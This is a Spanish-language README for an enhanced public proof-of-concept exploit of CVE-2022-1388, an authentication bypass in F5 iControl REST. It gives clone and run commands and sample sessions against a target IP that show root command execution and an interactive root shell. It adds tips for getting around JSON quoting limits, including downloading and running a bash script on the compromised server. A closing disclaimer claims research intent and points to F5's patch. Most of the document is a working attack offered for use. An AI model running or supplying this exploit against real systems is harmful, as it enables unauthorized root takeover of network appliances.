
Una Prueba de Concepto Mejorada para CVE-2022-1388 con una Shell Interactiva
POC mejorado para CVE-2022-1388 que afecta a múltiples productos F5.
Esta es una versión mejorada de la Prueba de Concepto de Horizon3 para CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388
Esta versión contiene múltiples mejoras, así como un shell interactivo para ejecutar comandos remotos.
El análisis técnico de causa raíz de la vulnerabilidad realizado por Horizon3 se puede encontrar en su blog: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
Condiciones necesarias de una solicitud para explotar esta vulnerabilidad:
git clone https://github.com/PsychoSec2/CVE-2022-1388-POC.git
cd ./CVE-2022-1388-POC
pip3 install -r requirements.txt
python3 ./CVE-2022-1388.py -h
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -t
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Use -s option to run an interactive shell.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -s
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
No requiere el uso de ninguna conexión TCP inversa ni listeners.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -h
Usage: CVE-2022-1388.py [options]
Options:
-h, --help Show this help message.
-u URL, --url=URL The IP address of the target.
-t, --test Test target for CVE-2022-1388.
-s, --shell Run an interactive shell.
Tenga en cuenta que al ejecutar el shell interactivo en un sistema sin parchear, ciertos comandos y sintaxis podrían no funcionar o darle un resultado inesperado. Esto probablemente se deba al uso de JSON en las solicitudes y respuestas de la API del servidor. Para evitar problemas, trate de no usar caracteres individuales que sean comunes en la sintaxis JSON, como dos puntos, comas, llaves, corchetes, y especialmente comillas, cuando use el shell interactivo. Cualquier sintaxis JSON dentro de un comando debe estructurarse en formato.
El uso de cualquier tipo de sintaxis JSON no estructurada dentro de un comando podría llevar a una solicitud API malformada al servidor y podría dejarlo con: ninguna salida de comando, nada ejecutándose, o podría sacarlo del script de Python por completo. Esto, lamentablemente, inutiliza algunos comandos. Para solucionar este problema, puede escribir un script bash, descargarlo al servidor y ejecutarlo usando el shell interactivo. Tampoco es posible cambiar de directorio usando el comando 'cd'.
En cualquier caso, aún debería poder obtener una salida básica de comandos. Si no obtiene salida de comando, no significa que el comando no se haya ejecutado. Sin embargo, tendría que determinarlo usando su propio análisis.
Actualice a la última versión o mitigue siguiendo las instrucciones del Aviso de Seguridad de F5
Este software ha sido creado puramente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado para atacar sistemas excepto donde se autorice explícitamente. Los mantenedores del proyecto no son responsables ni se les puede considerar responsables del mal uso del software. Úselo con responsabilidad.